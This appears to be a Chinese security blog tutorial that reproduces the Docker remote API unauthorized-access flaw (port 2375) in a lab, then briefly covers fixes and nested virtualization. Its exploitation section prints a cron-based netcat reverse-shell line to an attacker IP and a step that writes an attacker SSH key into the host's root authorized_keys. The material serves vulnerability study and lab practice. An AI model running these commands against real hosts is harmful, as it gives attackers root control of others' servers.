一篇文章搞懂Docker API未授权漏洞

admin 2024年7月29日16:15:37评论37 views字数 8493阅读28分18秒阅读模式
声明:请勿利用本公众号文章内的相关技术、工具从事非法测试,如因此造成一切不良后果与文章作者及本公众号无关!

和复现其他漏洞一样,习惯先确定漏洞的CVE编号,再查找一些资料,这样学的会更准确点,但奇怪的是Docker API未授权漏洞没找到对应的CVE编号,网上很多的分析文章也没提到。也许本就没有?如果有知道的,评论区告诉我吧

当然这是一个古老漏洞并且被不知道多少人发过文章了,笔者在工作过程中恰好安全工具发现这个漏洞,因为只知其然不知其所以然,因此花半天时间梳理一下,看到很多文章并没有讲清楚是哪里配置错误产生这个问题,那就全面整理一下顺便把其中的知识点记录一下。

目录:

0x01、Docker API的介绍

0x02、配置Docker API未授权环境

    -- 默认情况下Docker服务状态

    -- 手动配置Docker API未授权环境(踩坑)

    -- Vulhub快速搭建Docker API未授权环境

0x03、多种方式漏洞测试

    -- HTTP接口/浏览器直接测试

    -- docker client命令测试

    -- 写计划任务反弹shell

    -- 写SSH公钥

0x04、如何修复

0x05、什么是Nested Virtualization?

    -- 如何检查硬件CPU是否支持嵌套虚拟化

    -- 如何检查虚拟化软件是否支持嵌套虚拟化

0x01、Docker API的介绍

Docker API 是 Docker 引擎提供的API接口是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,它允许开发者与 Docker 容器引擎进行交互和通信。

通过 Docker API,用户可以执行以下操作:

  • 容器管理:创建、启动、停止、删除容器等

  • 镜像管理:构建、拉取、推送和删除镜像,以及管理镜像的元数据

  • 网络管理:创建、管理和删除网络,以及配置容器的网络连接

  • 卷管理:创建、管理和删除数据卷,以便容器可以持久化存储数据

  • 监控容器和守护进程状态等等

Docker API 的灵活性使得可以通过编程方式自动化和管理 Docker 容器。开发者可以使用各种编程语言与 Docker 容器引擎交互,从而实现自动化部署、监控和管理容器化应用程序。

但是但是如果管理员对Docker API配置不当可导致未授权访问漏洞,攻击者利用 docker client 或者 http 直接请求就可以访问 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器。

如下图就是安全工具发现的Docker API未授权访问漏洞告警:

一篇文章搞懂Docker API未授权漏洞

0x02、配置Docker API未授权环境

默认情况下Docker服务状态

默认安装完docker并启动docker服务后,它的状态、端口监听如下:

1)docker info 查询docker基本信息,注意最下面没有docker api的关键字

[root@localhost unauthorized-rce]# docker infoClient: Context:    default Debug Mode: false Plugins:  buildx: Docker Buildx (Docker Inc.)    Version:  v0.10.2    Path:     /usr/libexec/docker/cli-plugins/docker-buildx  compose: Docker Compose (Docker Inc.)    Version:  v2.16.0    Path:     /usr/libexec/docker/cli-plugins/docker-compose  scan: Docker Scan (Docker Inc.)    Version:  v0.23.0    Path:     /usr/libexec/docker/cli-plugins/docker-scanServer: Containers: 0  Running: 0  Paused: 0  Stopped: 0 Images: 3 Server Version: 23.0.1 Storage Driver: overlay2  Backing Filesystem: xfs  Supports d_type: true  Using metacopy: false  Native Overlay Diff: true  userxattr: false Logging Driver: json-file Cgroup Driver: cgroupfs Cgroup Version: 1 Plugins:  Volume: local  Network: bridge host ipvlan macvlan null overlay  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog Swarm: inactive Runtimes: io.containerd.runc.v2 runc Default Runtime: runc Init Binary: docker-init containerd version: 1e1ea6e986c6c86565bc33d52e34b81b3e2bc71f runc version: v1.1.4-0-g5fd4c4d init version: de40ad0 Security Options:  seccomp   Profile: builtin Kernel Version: 3.10.0-862.el7.x86_64 Operating System: CentOS Linux 7 (Core) OSType: linux Architecture: x86_64 CPUs: 2 Total Memory: 1.779GiB Name: localhost.localdomain ID: ec2ea5fd-1354-4ab6-a2bc-a6cba9fa5a5a Docker Root Dir: /var/lib/docker Debug Mode: false Registry: https://index.docker.io/v1/ Experimental: false Insecure Registries:  127.0.0.0/8 Live Restore Enabled: falseWARNING: bridge-nf-call-iptables is disabledWARNING: bridge-nf-call-ip6tables is disabled

2)netstat -nlpt 查询端口占用,挺正常的,无2375端口

[root@localhost unauthorized-rce]# netstat -nlptActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      977/sshd            tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1235/master         tcp6       0      0 :::22                   :::*                    LISTEN      977/sshd            tcp6       0      0 ::1:25                  :::*                    LISTEN      1235/master

因此默认安装docker后是不会启用docker api的,也就没有这个安全问题。

手动配置Docker API未授权环境

配置文件是:/usr/lib/systemd/system/docker.service

1)先备份配置文件

cp /usr/lib/systemd/system/docker.service /usr/lib/systemd/system/docker.service.bak

2)编辑配置文件,添加如下配置

vim /usr/lib/systemd/system/docker.service# ExecStart原始配置ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock# ExecStart修改为ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

3)重新启动docker服务

systemctl restart docker

4)再次查看docker的状态

2375端口已经监听:

[root@localhost unauthorized-rce]# netstat -nlptActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      971/sshd            tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1233/master         tcp6       0      0 :::2375                 :::*                    LISTEN      5395/dockerd        tcp6       0      0 :::22                   :::*                    LISTEN      971/sshd            tcp6       0      0 ::1:25                  :::*                    LISTEN      1233/master

docker info已经提示 Docker API 已经可被访问:

[root@localhost unauthorized-rce]# docker infoClient: Context:    default # 省略...WARNING: API is accessible on http://0.0.0.0:2375 without encryption.         Access to the remote API is equivalent to root access on the host. Refer         to the 'Docker daemon attack surface' section in the documentation for         more information: https://docs.docker.com/go/attack-surface/WARNING: bridge-nf-call-iptables is disabledWARNING: bridge-nf-call-ip6tables is disabled

漏洞验证

http://192.168.220.230:2375/version  //查询versionhttp://192.168.220.230:2375/images/json  //列出所有镜像http://192.168.220.230:2375/containers/json  //列出所有容器

一篇文章搞懂Docker API未授权漏洞

http://192.168.220.230:2375/images/json

一篇文章搞懂Docker API未授权漏洞

http://192.168.220.230:2375/containers/json

一篇文章搞懂Docker API未授权漏洞

Vulhub快速搭建Docker API未授权环境(踩坑)

Vulhub漏洞靶场

https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce

1)下载并启动Vulhub的unauthorized-rce 靶场

git clone https://github.com/vulhub/vulhub.gitcd /vulhub/docker/unauthorized-rcedocker-compose builddocker-compose up -d

一篇文章搞懂Docker API未授权漏洞

2)漏洞验证(踩坑)

http://192.168.220.230:2375/version  //查询versionhttp://192.168.220.230:2375/images/json  //列出所有镜像http://192.168.220.230:2375/containers/json  //列出所有容器

一篇文章搞懂Docker API未授权漏洞

发现并没有列出images,但是明明docker images有images信息:

一篇文章搞懂Docker API未授权漏洞

当时在这里笔者想了很久没想明白,所以笔者就找了上面的手动配置Docker API的方式来测试漏洞。后来想明白了....

3)因为centos主机上的docker和 vulhub  unauthorized-rce 并不是同一个东西

逻辑架构图大致如下:

P.S. 至于为啥说逻辑架构,因为docker容器底层知识是很复杂的,并且问了公司的运维大佬,也说不太清楚这种嵌套容器化,所以这块理解可能有偏差:

一篇文章搞懂Docker API未授权漏洞

4)因此在 vulhub  unauthorized-rce 容器里再启动一个容器

# 先进入 vulhub unauthorized-rce容器docker exec -it 6cad951b12e9 /bin/sh# 确认vulhub unauthorized-rce容器支持docker命令docker -v-- Docker version 18.03.0-ce, build 0520e24# 拉取mongo镜像docker pull mongo:4.4.6# 启动mongo容器docker run -d --name my-mongo -p 27017:27017 61ea# 查看mongo的镜像和容器docker imagesdocker ps

一篇文章搞懂Docker API未授权漏洞

可以看到,vulhub unauthorized-rce容器里面也启动了一个mongo容器,再次通过vulhub unauthorized-rce容器的docker api获取试试:

http://192.168.220.230:2375/version  //查询versionhttp://192.168.220.230:2375/images/json  //列出所有镜像http://192.168.220.230:2375/containers/json  //列出所有容器

一篇文章搞懂Docker API未授权漏洞

一篇文章搞懂Docker API未授权漏洞

成功!

0x03、多种方式漏洞测试

HTTP接口/浏览器直接测试

http://192.168.220.230:2375/version  //查询versionhttp://192.168.220.230:2375/images/json  //列出所有镜像http://192.168.220.230:2375/containers/json  //列出所有容器

一篇文章搞懂Docker API未授权漏洞

一篇文章搞懂Docker API未授权漏洞

1)通过HTTP请求拉取镜像:

curl -X POST "http://192.168.220.230:2375/images/create?fromImage=redis&tag=latest"

一篇文章搞懂Docker API未授权漏洞

镜像拉取成功:

一篇文章搞懂Docker API未授权漏洞

2)通过HTTP请求创建容器:

curl --location --request POST 'http://192.168.220.230:2375/containers/create?name=my_redis_from_api' --header 'Content-Type: application/json' --data-raw '{    "Image": "redis",    "Cmd": ["/bin/bash", "-c", "while :; do sleep 1; done"],    "HostConfig": {        "PortBindings": {            "6379/tcp": [                {                    "HostPort": "6379"                }            ]        }    }}'

一篇文章搞懂Docker API未授权漏洞

一篇文章搞懂Docker API未授权漏洞

3)通过HTTP请求运行容器:

curl --location --request POST 'http://192.168.220.230:2375/containers/ac108c8168be/start'

一篇文章搞懂Docker API未授权漏洞

一篇文章搞懂Docker API未授权漏洞

docker client命令测试

1)远程获取镜像和容器列表

docker -H tcp://192.168.220.230:2375 imagesdocker -H tcp://192.168.220.230:2375 ps

一篇文章搞懂Docker API未授权漏洞

2)远程拉取镜像

docker -H tcp://192.168.220.230:2375 pull hello-worldbr

一篇文章搞懂Docker API未授权漏洞

3)远程进入容器

docker -H tcp://192.168.220.230:2375 exec -it my_redis_from_api /bin/sh

一篇文章搞懂Docker API未授权漏洞

写计划任务反弹shell

模拟通过宿主机上的docker容器api未授权漏洞,通过目录挂载、写计划任务方式完成对宿主机的控制。

1)先查看靶场的images和containers

一篇文章搞懂Docker API未授权漏洞

2)创建 alpine:latest

docker -H tcp://192.168.220.230:2375 pull alpine:latest

一篇文章搞懂Docker API未授权漏洞

3)攻击机nc监听

nc -lvvp 9999

一篇文章搞懂Docker API未授权漏洞

4)运行镜像并将宿主机的系统计划任务目录(/var/spool/cron/)挂载到容器中的/tmp目录下

docker -H tcp://192.168.220.230:2375 run -id -v /var/spool/cron/:/tmp/var/spool/cron/ alpine:latest

一篇文章搞懂Docker API未授权漏洞

5)进入alpine 容器并创建计划任务

docker -H tcp://192.168.220.230:2375 exec -it cedc1fc66a60echo '* * * * * /usr/bin/nc 192.168.220.239 9999 -e /bin/bash' >> /tmp/var/spool/cron/root

一篇文章搞懂Docker API未授权漏洞

检查下宿主机是否也创建了这样的计划任务:

一篇文章搞懂Docker API未授权漏洞

6)成功反弹到shell

一篇文章搞懂Docker API未授权漏洞

写SSH公钥

模拟通过宿主机上的docker容器api未授权漏洞,通过目录挂载、写SSH密钥对的方式完成对宿主机的控制。

1)攻击机先生成ssh公私钥对

ssh-keygen -t rsa

一篇文章搞懂Docker API未授权漏洞

2)运行 alpine:latest 容器,并挂在宿主机目录

docker -H tcp://192.168.220.230:2375 run -id -v /:/tmp alpine:latestdocker -H tcp://192.168.220.230:2375 exec -it f923a68b3e11 /bin/sh

一篇文章搞懂Docker API未授权漏洞

3)将刚刚生成的公钥写入 authorized_keys 文件

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPLUnIp2AWZ1XM3yGncT+Hny1ksiRLEoHcHqSWIcjs8TIep+kGiJlBimEJB1BM2vbq+T/f5PpWHP7tmwLWp61nX7p9lA88QQwVGMWYr6JFx9JRd/574HyUzBjuOr9L5vKwnyakqlyx+jVclj2KOdw2ymb99dRX4DY36GLHW1b+C8AYisqNI75LXMPLIX5EhOByafUCWdu5XQ/iY74K8VtOUKA3k1AMi17YgbeyCuHnvyADsGHkqgiuuXGIIF1fj3zqJWBUzNXgrZg5xjoUYH2kv22nZw+mra73HxGEkXojLJml429qSDnzRKagoY5MSkvPulI+fTeC79ENpN/ZFcdL root@localhost.localdomain' >> /tmp/root/.ssh/authorized_keys

一篇文章搞懂Docker API未授权漏洞

4)通过私钥登录靶机ssh

一篇文章搞懂Docker API未授权漏洞

0x04、如何修复

  • 关闭2375端口、关闭docker api功能

  • 配置访问控制,禁止外部访问2375、docker api功

0x05、什么是Nested Virtualization?

Nested Virtualization 是指在虚拟机内运行另一个虚拟机,即在虚拟化环境中创建另一个虚拟化环境的能力。这种技术使得在第一层虚拟机中运行第二层虚拟机成为可能,也就是嵌套虚拟化技术。

实现嵌套虚拟化需要硬件和软件的支持。通常,CPU 必须支持虚拟化扩展(如Intel的VT-x或AMD的AMD-V),并且虚拟化软件(如VMware、VirtualBox等)也必须支持嵌套虚拟化

如何检查硬件CPU是否支持嵌套虚拟化

查看方法如下图,按下 Windows + R 打开运行对话框,输入 msinfo32 回车,在系统信息窗口中,找到处理器信息,看是否包含如 Intel 的 VT-x(Intel Virtualization Technology)或 AMD 的 AMD-V(AMD Virtualization),否则就不支持嵌套虚拟化,如下图笔者电脑是不支持的:

一篇文章搞懂Docker API未授权漏洞

如何检查虚拟化软件是否支持嵌套虚拟化

以VMware为例,查看方法如下图,选择一个虚拟机--设置--硬件--处理器--虚拟化引擎,如果勾选了“虚拟化 Intel VT-x/EPT 或 AMD-V/RVI(V)” 就表示VMware软件开启了嵌套虚拟化。

一篇文章搞懂Docker API未授权漏洞

经过这次的学习,打破了笔者之前以为的虚拟化技术或者容器技术是不能嵌套的观念,特别是虚拟化技术如VMware,一直以为是理论上不可能实现的,f也不知道以前从什么文章得出的结论,感谢这次的学习,长见识了。

虽然只是一个小漏洞的复现,但是在复现过程中,笔者还是学到了一些知识,后续有时间会更多地一些典型漏洞。

原文始发于微信公众号(安全随笔):一篇文章搞懂Docker API未授权漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日16:15:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一篇文章搞懂Docker API未授权漏洞https://cn-sec.com/archives/3010886.html

发表评论

匿名网友 填写信息